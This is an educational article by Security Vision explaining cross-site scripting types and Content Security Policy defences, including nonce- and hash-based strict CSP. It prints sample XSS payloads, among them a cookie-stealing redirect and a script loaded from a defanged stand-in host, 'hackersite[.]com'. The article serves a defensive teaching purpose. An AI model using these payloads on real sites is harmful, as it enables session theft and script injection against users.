Ruslan Rakhmetov, Security Vision
Web applications have become a traditional target of modern cyber attacks due to their network accessibility, processing of information valuable to attackers (personal data, payment information) and exposure to widespread web vulnerabilities. Web injections are one of the most popular vectors of cyber attacks on web applications, in which attackers take advantage of the lack of proper security checks of user input data in web applications. XSS (cross-site scripting) type vulnerabilities have long been known and widely used by attackers, so security standards such as the Content Security Policy (CSP) have been developed to protect against them. Today we will discuss XSS attacks and methods of protection against them.
In the previous article, we talked about SQL injections, which are combined with XSS in the list of the most common types of web vulnerabilities of the OWASP Web Application Security Project (Open Web Application Security Project). XSS type vulnerabilities (Cross-Site Scripting) are a type of web injection in which an attack is carried out by injecting malicious JavaScript code into a vulnerable web page or web request. Malicious JavaScript code is executed on the client device, leading to incorrect display of websites, theft of user data, theft of authorization cookies or JWT tokens, and launching VPO on the device, but it can also cause compromise of the web server (XSS to RCE attacks).
The reasons for the appearance of XSS vulnerabilities are listed on the page describing CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting), and the attack methods are listed on the page describing CAPEC-63: Cross-Site Scripting (XSS).
XSS vulnerabilities are traditionally divided into three types:
1) Reflected XSS (Non-Persistent / Type I) - reflected XSS vulnerabilities ("non-persistent / Type I"): a malicious script is not stored on a vulnerable web server, but is transmitted to the user, for example, via a phishing email or a link on a site controlled by the attacker. Malicious content can be included in the URI parameters (i.e. in the link text) or HTTP (in the form of headers).
Let's give an example: if an online store's website is vulnerable to Reflected XSS attacks, then attackers will be able to send a phishing link to the victim:
hxxps://supershop[.]com/products?category=<script>alert('XSS');</script>
When clicking on this link, the victim will see a modal window with the message "XSS".
Of course, in real attacks, attackers will not use alert(), but other functions and directives, for example, to receive cookies:
hxxps://supershop[.]com/products?category=<script>document.location='hxxps://hackersite[.]com/?'+document.cookie</script>
When a user clicks on such a link, the attacker on his site hackersite[.]com will see a web connection from the victim user's PC with a cookie value from the supershop website[.]com.
HTTP headers can be used for XSS attacks if a vulnerable site incorrectly processes headers that are invisible to the user. For example, an attacker may send a request with the "Referer" header containing a malicious script to the vulnerable site.
2) Stored XSS (Persistent / Type II) - stored XSS vulnerabilities ("permanent / Type II"): a malicious script is placed on a vulnerable web server, for example, in a comment field, as a forum post, or in a field with a user profile description. This attack is dangerous because a malicious script can be executed on multiple client devices at once, leading to a large-scale compromise.
For example, an attacker may try to create forum posts with such options for running a malicious script (with the conditional name "code"):
<img src="hat001.png" onerror="code()">
<script>code()</script>
<script src="hxxps://hackersite[.]com/code.js"></script>
3) DOM-Based XSS (Type 0) - XSS based on the DOM model ("type 0"): a vulnerability of this type is realized through an attack on the DOM (Document Object Model, document object model) in HTML and XML, while malicious code is executed not on a web page, but in a browser the victim user. Note that unsafe DOM data processing can lead to various vulnerabilities.
Various technologies are used to protect web applications and user data, including the Same-Origin Policy (SOP), Cross-Origin Resource Sharing (CORS), HSTS (HTTP Strict Transport Security), Anti-CSRF tokens, SameSite attributes, HttpOnly, Secure for cookies. To protect against XSS attacks, the Content Security Policy (CSP) standard is used, which is a policy that controls permissions for downloading resources such as scripts, fonts, styles, and images by a web application. The CSP policy configured on the website allows you to set directives that define the rules for downloading resources. Then the CSP directives are passed to the browser and executed by it. Accordingly, you can, for example, configure the loading of scripts only from a trusted source (using the script-src directive), restrict the display of popup windows (using the sandbox directive), determine the destination domain when sending filled-in web forms (using the form-action directive). According to the current version of the Content Security Policy Level 3 standard, CSP directives are divided into the following types:
• Fetch Directives control the location from which different types of resources (e.g. scripts, fonts, styles, images) can be loaded;
• Document Directives define the properties of the document (web page) to which the CSP policy applies.;
• Navigation Directives control the locations of documents and embedded elements (previously, the ability to load pages into an iframe was controlled in the now obsolete HTTP header X-Frame-Options);
• Reporting Directives define the recipient of a CSP violation report.
Let's give an example: let's say the owner of the supershop website[.]com has set up a CSP policy for a specific web page with minimal granularity by setting the following directive:
Content-Security-Policy: script-src 'self'
This directive informs the user's browser that only those scripts that are hosted on it can be executed on this web page. Thus, on the hxxps://supershop page[.]com/products, only JavaScript hosted on hxxps://supershop[.]com will be executed. Let's assume that the site is vulnerable to XSS and the attackers have created forum posts with such options for running malicious scripts:
<img src="hat001.png" onerror="code()">
<script>code();</script>
<script src="hxxps://hackersite[.]com/code.js"></script>
The source of the scripts is not specified in the first two lines, so they will not be executed. In the third line, the script is posted on the hackersite resource[.]com, which differs from supershop[.]com, which is allowed to run scripts from. This way, none of the malicious scripts will be run.
Such a method of compiling a permissive list is quite laborious, therefore, the "Strict CSP" mode is used to compile CSP directives using one of two mechanisms - nonce or hash:
1) Nonce-based Strict CSP.
A nonce is a string of random characters of one-time use. The site administrator adds a nonce calculation function for each script, which is created randomly with each web request. Thus, the user's browser will receive a script block of this type, for example:
<script nonce="1e31b6130c5be9ef4cbab7eb38df5491">
code();
</script>
The site will send a CSP header like this to the user's browser:
Content-Security-Policy: script-src 'nonce-1e31b6130c5be9ef4cbab7eb38df5491'
Accordingly, the browser will compare the nonce value from the CSP header and the nonce attribute from the script block. Script execution will begin only if the values match. However, it should be remembered that nonce values https://www.w3.org/TR/CSP3/#security-noncesmust be at least 128 bits long and generated using a cryptographically strong pseudorandom number generator.
2) Hash-based Strict CSP.
For script blocks and for JS files (due to the SRI - Subresource Integrity function), the site owner pre-calculates the hash sum value (SHA-256, SHA-384, SHA-512 algorithms are supported) and writes the value of the selected algorithm and the value of the hash sum in base64 encoding to the "script-src" tag.
For example, for the <script>doSomething();</script> block, we get the following base64-encoded hash value:
'saHFqbINEXd74roLLRHGVLDDrf6Yc22KGQviDRhbxE4='
We will then write it into the CSP header in the form:
Content-Security-Policy: script-src 'sha256-saHFqbINEXd74roLLRHGVLDDrf6Yc22KGQviDRhbxE4=';
Thus, before processing this script block, the browser will independently calculate the value of its hash sum and compare it with the one transmitted in the CSP header. Script execution will begin only if the values match. However, even with the slightest change in the scripts on the page, the site administrator will have to recalculate the hashes and update the CSP headers.
Of course, the Content Security Policy cannot be considered one hundred percent protection against XSS attacks, since there are various techniques for circumventing the configured CSP policy. To minimize the risks of exploiting XSS vulnerabilities, web developers should follow the recommendations for writing secure code, cybersecurity specialists should implement and fine-tune WAF class solutions (Web Application Firewall, application-level firewalls), and users can be advised to use browser extensions that allow JavaScript control (for example, the NoScript extension).
.jpg)
.jpg)
.jpg)